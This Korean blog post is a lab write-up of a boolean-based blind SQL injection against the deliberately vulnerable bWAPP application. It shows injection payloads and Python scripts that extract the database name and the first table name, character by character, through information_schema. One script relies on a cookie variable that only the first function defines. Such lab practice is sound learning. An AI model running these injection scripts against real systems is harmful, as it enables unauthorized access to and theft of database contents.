bwapp 실습 (SQL Injection - Blind - Boolean-Based)_low level

2023. 3. 11. 19:12·웹/웹 해킹 문제 풀이

bwapp의 blind sql injection 실습 화면이다. 


blind sql injection

blind sql injection은 sql injection 종류 중에 하나이며 sql injection에 대한 응답 값이 눈에 보이는 값으로 출력되는 것이 아닌 참과 거짓으로 출력되는 경우에 진행하는 공격이다. 

 

일종의 스무고개라고 생각하면 된다. 공격자는 참과 거짓의 형태로 출력되는 결과를 확인하고 blind sql injection 공격을 수행한다. 

 

공격자는 blind sql injection 으로 희생자의 데이터베이스 이름, 테이블 이름, 각 테이블의 컬럼 및 값을 알아낼 수 있다. 

 


실습

 

' 입력 시 error 출력

입력란에 ' 을 입력 시 올바른 문법이 아니라며 error가 난다. sql injection 중에 error 기반의 sql injection이 있는데 이 공격으로도 활용이 가능할 듯 하다. 

 

a 입력시 출력

'a' 입력시 데이터베이스에 존재하지 않는 값이라고 출력이 된다. 

 

1' or 1=2# 입력 시 출력

1' or 1=2# 입력하여 거짓일 경우에 출력이 어떻게 되는지 확인하다. 위의 경우와 동일하게 존재하지 않는다고 출력된다.

 

1' or 1=1#

그러면 이번에는 참일 경우를 입력한다.  1' or 1=1# 을 입력하였다. 

데이터 베이스에 존재한다고 출력이 된다. 

 

즉 있다 , 없다 ( 참 , 거짓) 형태로 결과가 출력된다. 

이는 blind sql injection 공격 실행이 가능하다. 

 

a or b and c 의 형태로 sql 구문을 입력하여 a or b 까지는 무조건 참으로 만들고 뒤에 c에 우리가 알고자하는 값을 찾기 위한 구문을 입력하면 된다. 

데이터베이스 길이

a or b and c 의 c 부분에 length(database())=n 을 입력하여 데이터베이스의 길이가 n 이 맞는지 질의한다. 

데이터 베이스 길이가 1은 아니었다. 수작업으로 하기에는 오래걸릴 수 있어서 python의 requests 모듈을 이용하여 자동으로 데이터 베이스의 길이를 알아내자. 

 

burpsuite 패킷

burpsuite로 입력란을 전송시의 패킷을 잡았다. get 방식으로 title , action 파라미터를 넣어 요청을 한다. 

해당 url을 참고하여 파이썬 소스코드를 작성한다. 

 

import requests

def find_database_length():
    
    n = 1
    

    cookies = { 'security_level':'0','PHPSESSID':'fa753b417f633e5913e3fcc097ff74f6'}

    
    while True:
        
        sql = f"?title=1%27+or+1%3D1+and+length%28database%28%29%29%3D{n}%23&action=search"
        url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
        
        response=requests.get(url, cookies=cookies)
        
        if "exists" in response.text:
            print(f"i find database length : {n}")
            break
        else:
            n+=1
            print(response.text)
    return n

if __name__=="__main__":

    find_database_length()

위와 같이 소스코드를 작성한다. 

while 반복문을 이용하여 데이터 베이스의 길이를 찾는 코드를 반복 실행한다. 

response의 text 값에 exists가 있으면 반복문을 탈출하고 몇 글자인지 출력을 한다. 

 

해당 실습장에서 사용하는 데이터 베이스가 5글자 인것을 알았다. 

철자가 어떻게 되는지 알아보자.

 

def find_database_name():            

    database=""
    for j in range(1,6):
        for i in range(65,123):
        
            sql = f"?title=1%27+or+1%3D1+and+ascii%28substring%28database%28%29%2C{j}%2C1%29%29%3D{i}%23&action=search"
            url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
            response = requests.get(url,cookies=cookies)

            if "exists" in response.text:
                database+=chr(i)
                print(f"i find database name : {database}")
                
    return database
                
if __name__=="__main__":

    find_database_length()
    find_database_name()

for문과 ascii를 이용하여 데이터베이스의 이름을 한글자씩 알아내자.

mysql의 substring() 함수도 사용된다. 

substring() 함수는 substring( '문자열', [시작 위치 값] , [ 가져올 길이 수]) 형식으로 작성된다. 

 

해당 소스코드를 실행하면 데이터베이스의 이름이 bWAPP이다.

 

-bWAPP 데이터베이스의 테이블 1개의 길이와 값을 알아보자. 

 

def find_table_length():

    for i in range(1,20):
        sql = f"?title=1%27%20or%201%3D1%20and%20length%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3D%22bWAPP%22%20limit%200%2C1%29%29%3D{i}%23&action=search"
        url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
        response = requests.get(url, cookies=cookies)

        if "exists" in response.text:
            print(f"i find table length : {i}")
            break
    return i

def find_table_name():

   name = ""
   for i in range(1,6):
      for j in range(65,123):
          sql = f"?title=1%27%20or%201%3D1%20and%20ascii%28substring%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3D%22bWAPP%22%20limit%200%2C1%29%2C{i}%2C1%29%29%3D{j}%23&action=search"
          url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
          response = requests.get(url, cookies=cookies)

          if "exists" in response.text:
              name +=chr(j)
              print(f"i find table name {name}")
              break
   return name
  
                
        

    

if __name__=="__main__":

    find_database_length()
    find_database_name()
    find_table_length()
    find_table_name()

소스코드는 위와 같다. 

MYSQL에서의 information_schema 데이터베이스를 이용한다.  information_schema에는 존재하는 데이터베이스와 테이블 , 테이블의 컬럼 등을 담고있는 데이터베이스이다. 

information_schema ( 데이터 베이스) -> tables ( 여러 테이블 중의 하나) -> table_name( 테이블의 컬럼 중 하나) 

이런식으로 접근을 하여 테이블의 길이와 값을 찾는다. 

 

코드에서 언급한 table_schema 는 데이터베이스를 의미한다. mysql에서는 schema = 데이터베이스 이다. 

즉 , 테이블이 속한 데이터베이스 를 의미한다. 

 

 

소스코드를 실행하면 blog라는 테이블 이름이 출력된다. 

 

실제 mysql를 살펴보면 bWAPP에 blog라는 테이블의 첫번재 줄에 존재한다. 

 


information schema 구조

데이터베이스 ( information_schema) -> 테이블 ( tables, columns, charater_sets 등등 ) -> tables 테이블의 컬럼 ( table_schema , table_name, 등등)  

 

위의 상황에선 blog라는 테이블 이름을 찾음 

저작자표시 (새창열림)

'웹 > 웹 해킹 문제 풀이' 카테고리의 다른 글

dreamhack write-up  (0) 2023.04.05
dreamhack(devtools-sources)  (0) 2023.03.18
bwapp 실습 (XSS - Reflected (GET))_low  (0) 2023.03.02
bwapp 실습 (Cross-Site Scripting- Stored(blog))_low level  (0) 2023.03.02
bwapp 실습 (Broken Authentication - Insecure Login Forms)_medium level  (0) 2023.02.23
'웹/웹 해킹 문제 풀이' 카테고리의 다른 글
  • dreamhack write-up
  • dreamhack(devtools-sources)
  • bwapp 실습 (XSS - Reflected (GET))_low
  • bwapp 실습 (Cross-Site Scripting- Stored(blog))_low level
-송현우-
-송현우-
  • -송현우-
    모험
    -송현우-
  • 전체
    오늘
    어제
    • 분류 전체보기 (111)
      • 웹 (68)
        • 취약점 진단 (6)
        • 웹 해킹 문제 풀이 (45)
        • 모의해킹 (15)
        • CS (2)
      • 모바일 (0)
      • 인프라 (10)
        • Infra 보안점검 (10)
      • 클라우드 (0)
      • 네트워크 (1)
        • 네트워크 기초 이론 (1)
      • 자격증 (12)
        • 정보보안기사 (2)
        • 정보처리기사 (2)
        • CPPG (1)
        • 리눅스마스터2급 (1)
        • bhpt (4)
        • 컴활 (1)
        • ISMS-P (1)
      • CVE (1)
      • 개발 (16)
        • 백준 (12)
        • 게임 (3)
      • CTF (0)
      • OS (1)
        • linux (1)
      • 낙서장 (2)
        • 정리노트 (0)
        • 공부 계획 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    불충분한 인증
    webhacking.kr
    oicd
    WarGame
    bwapp
    주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드
    정보 누출
    write up
    write-up
    2023년도 4회차 실기
    jwt 토큰
    행렬덧셈
    불충분한 인가
    webhacking
    웹해킹
    문제풀이
    주요정보통신기반시설 기술적 취약점 분석 및 방법 상세가이드
    백준
    정보보안기사 합격 수기
    위치공개
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
-송현우-
bwapp 실습 (SQL Injection - Blind - Boolean-Based)_low level
상단으로

티스토리툴바